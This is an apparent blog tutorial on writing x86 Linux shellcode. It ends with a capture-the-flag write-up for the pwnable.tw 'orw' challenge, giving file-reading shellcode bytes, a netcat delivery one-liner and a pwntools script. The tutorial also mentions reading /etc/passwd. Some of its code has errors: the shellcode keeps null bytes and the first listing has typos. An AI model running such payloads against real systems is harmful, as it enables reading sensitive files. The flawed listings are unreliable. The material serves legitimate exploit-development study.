ShellCode Writing
Welcome back folks to a new article, this time I decided to important thing which is to learn how to write your own shellcode. So far, the shellcode used in our exploits has been just a string of copied and pasted bytes from the web. Many hackers just depend on the internet to get their shellcode they are missing a big advantage of shellcoding which can be powerful in reading some stuff through the system like /etc/passwd and other important files.
This article has some theoretical part talking about Assembly and some requirements and then I’ll solve a problem from pwnable.tw regarding shellcoding but first let’s make some required background to advance to the next step.
First of all we will be referring to this page to get Syscalls https://syscalls.kernelgrok.com/ also you can find the Syscalls for Linux from this path /usr/include/asm-i386/unistd.h.
Assembly instruction for intel x86 processor have one, two, three or no operands . The operands can be numerical values , memory addresses or processor registers most common intel x86 registers are EAX, EBX, ECX, EDX, EIP, ESP, EBP, ESI, EDI. We use move instruction to assign values for these registers also important thing to know is that EAX holds the syscall number and the returned value from the function that we call and EBX, ECX, EDX registers hold first, second, third arguments to the syscall.
Now let’s try to write our first Assembly which is really a simple program to print hello world.
Let’s Explain the above Assembly code step by step first of all we define our string in data segment to print it out with it’s name msg and of data byte and terminate it with newline character next we will define our function called _start in the text segment. I’ll not explain the segments of the binary as they are not our focus in this article.
section .data ;Data segment msg db “Hello wrold”, 0xa0 ; the string and newlline section .text ; Text segment global _start ; Deafault entry point for ELF _start: ; Syscall: write(1, msg, 14) mov eax , 4 mov ebx, 1 mov ecx, msg mov edx , 14 int 0x80 ; Syscall : exit(0) mov eax, 1 mov ebx, 0 int 0x80 |
Now let’s dive into the Assembly first of all we will move the syscall for write function to EAX register remember what we said earlier now the argument if you take a look of what are the arguments of the write function from the manual page write(int fd, const void *buf, size_t count); so it takes the first argument the file descriptor, address to the buffer and the buffer size.
Now it’s obvious first of all we move the STDOUT file descriptor to EBX, next we move the address of our message that we want to print out to ECX finally we put the size of our message into EDX which’s in our case 14 bytes , and call int 0x80 which will interrupt the system to make a system call to write function .
Next to exit the program simply we call exit function by moving it’s syscall number to EAX and the first argument to EBX then call int 0x80 to interrupt the system to call exit function.
root@kali:~/shellcode/shellcode# nasm -f elf64 helloworld.s root@kali:~/shellcode/shellcode# ld helloworld.o root@kali:~/shellcode/shellcode# ./a.out Hello wrold root@kali:~/shellcode/shellcode# |
This was a very simple Assembly code that will print hello world to STDOUT as seen in the above output.
Before writing shellcode I’ll introduce this trick in assembly so consider the following code
BITS 32 call func1; this will call func1 and store the address of the next intruction on the stack db “HI FOLKS”, 0x0a, 0x0d ; func1: ; ssize write(int fd, const void buf, size_t count); pop ecx ; now the address of the string is stored in ECX mov eax, 4; the syscall for write to EAX mov ebx, 1; the file descriptor to EBX mov edx, 10; the size of our string int 0x80; syscall to write ; void _exit(0) mov eax, 1 ; exit syscall mov ebx, 0 ; exit status int 0x80 |
So as you know from before when we call a function the next instruction after the call will be stored in the stack so in our case the address to “HI FOLKS” string will be stored in ecx.
Now let’s dive into writing in shellcode we will break into steps.
Removing Null bytes, In order to write a successful shellcode always remember that null bytes are not good and you have to get rid of them somehow there’re some methods out there to remove null bytes from your shellcode and I’ll explain some of them. As you might already know in 32-bit machine the structure of the registers loo like the below picture
So If you consider the following mov instruction example:
Machine code Assembly B8 04 00 00 00 mov eax,0x4 66 B8 04 00 mov ax,0x4 B0 04 mov al,0x4 |
Using the AL, BL, CL, DL register will put the correct least significant byte into the corresponding extended register without creating any null bytes but the problem here is that the top three-bytes could contain any value. If you come across a digital logic course and you’re familiar with logic gates you should remember the XOR gate i’ll give you a quick refresher on it.
XOR | 0 | 1 |
0 | 0 | 1 |
1 | 1 | 0 |
So now consider our situation if we xor a register with itself we will zero out it’s value. Let’s write the last version of our shellcode and try it.
BITS 32 jmp short func1 func2: pop ecx xor eax, eax mov al, 4 xor ebx, ebx inc ebx xor edx, edx mov dl, 15 int 0x80 ; void _exit(0) mov eax, 1 ; exit syscall mov ebx, 0 ; exit status int 0x80 func1: call func2 db “HI FOLKS”, 0x0a, 0x0d |
First we will assemble this by issuing this command on my kali.
root@kali:~/shellcode/shellcode/writ-up# nasm example2.yasm |
Next we will print the disassemble this to extract the shellcode from it
root@kali:~/shellcode/shellcode/writ-up# ndisasm example2 00000000 EB0E jmp short 0x10 00000002 59 pop cx 00000003 31C0 xor ax,ax 00000005 B004 mov al,0x4 00000007 31DB xor bx,bx 00000009 43 inc bx 0000000A 31D2 xor dx,dx 0000000C B20F mov dl,0xf 0000000E CD80 int 0x80 00000010 E8EDFF call 0x0 00000013 FF db 0xff 00000014 FF4849 dec word [bx+si+0x49] 00000017 20464F and [bp+0x4f],al 0000001A 4C dec sp 0000001B 4B dec bx 0000001C 53 push bx 0000001D 0A0D or cl,[di] |
To extract the shellcode issue this command ndisasm dd | cut -f3 -d ‘ ‘ | tr -d $’\n’ it will extract the shellcode from the above output once you did this feed the shellcode to this program
char code[] = “YOUR SHELLCODE GOES HERE”; int main(int argc, char **argv) { int (*exeshell)(); exeshell = (int (*)()) code; (int)(*exeshell)(); } |
It should work if it doesn’t try to debug it by GDB to know where you are wrong.
Now time for an exercise from pwnable.tw called orw which stands for open read write to get our shell code.
This how the binary looks from ida decompiler
int main(void) { orw_seccomp(); printf(“Give my your shellcode:”); read(0,shellcode,200); (*(code *)shellcode)(); return 0; } |
And as the challenge stated we can read the flag from /home/orw/flag so first of all we need to open the flag then read it then write it to STDOUT.
First let’s convert the path into an ascii code /home/orw/flag remember the little endian part.
So let’s push the value to the stack in little endian manner next we will do the same procedure as before xor the registers and use them as required for the function that we are using.
push 0x6761 push 0x6C662F77 push 0x726F2F65 push 0x6D6F682F ;open(‘/home/orw//flag’, 0) xor eax, eax mov eax, 5 xor ebx, ebx mov ebx, esp xor ecx, ecx xor edx, edx int 0x80 ;read(fd, buff, size) mov ebx, eax xor eax, eax mov eax, 3 mov ecx , esp add edx, 0x30 int 0x80 ;write(fd , buff, size) xor eax, eax mov eax, 4 xor ebx, ebx inc ebx mov ecx, esp int 0x80 |
Let’s explain some concepts before we craft our shellcode as said above first we pushed the path in the stack remember how stack work in intel x86 it grows towards lower addresses , then I set-up the EAX register with the appropriate syscall and moved the copy the memory address where ESP is pointing to EBX as open takes it first argument the file we want to open. The next is the same concept (remember that the returned value is stored in EAX)
Here’s the result shellcode I used an online tool so to make it easier for everyone https://defuse.ca/online-x86-assembler.htm#disassembly2 : “\x68\x61\x67\x00\x00\x68\x77\x2F\x66\x6C\x68\x65\x2F\x6F\x72\x68\x2F\x68\x6F\x6D\x31\xC0\xB8\x05\x00\x00\x00\x31\xDB\x89\xE3\x31\xC9\x31\xD2\xCD\x80\x89\xC3\x31\xC0\xB8\x03\x00\x00\x00\x89\xE1\x83\xC2\x30\xCD\x80\x31\xC0\xB8\x04\x00\x00\x00\x31\xDB\x43\x89\xE1\xCD\x80”
Now if we feed it to the challenge we should get our flag.
python -c “print ‘\x68\x61\x67\x00\x00\x68\x77\x2F\x66\x6C\x68\x65\x2F\x6F\x72\x68\x2F\x68\x6F\x6D\x31\xC0\xB8\x05\x00\x00\x00\x31\xDB\x89\xE3\x31\xC9\x31\xD2\xCD\x80\x89\xC3\x31\xC0\xB8\x03\x00\x00\x00\x89\xE1\x83\xC2\x30\xCD\x80\x31\xC0\xB8\x04\x00\x00\x00\x31\xDB\x43\x89\xE1\xCD\x80′” | nc chall.pwnable.tw 10001 |
We got our flag FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
I found a cool online solution by utilizing the power of pwn library in python
from pwn import * # context.log_level = ‘debug’ p = remote(‘chall.pwnable.tw’, 10001) shellcode = ” shellcode += shellcraft.pushstr(‘/home/orw/flag’) shellcode += shellcraft.open(‘esp’, 0, 0) shellcode += shellcraft.read(‘eax’, ‘esp’, 64) shellcode += shellcraft.write(1, ‘esp’, 64) # print(shellcode) payload = asm(shellcode) p.recv() p.send(payload) response = p.recvall() print(response) |
Thanks for reading. I hope you learned something new.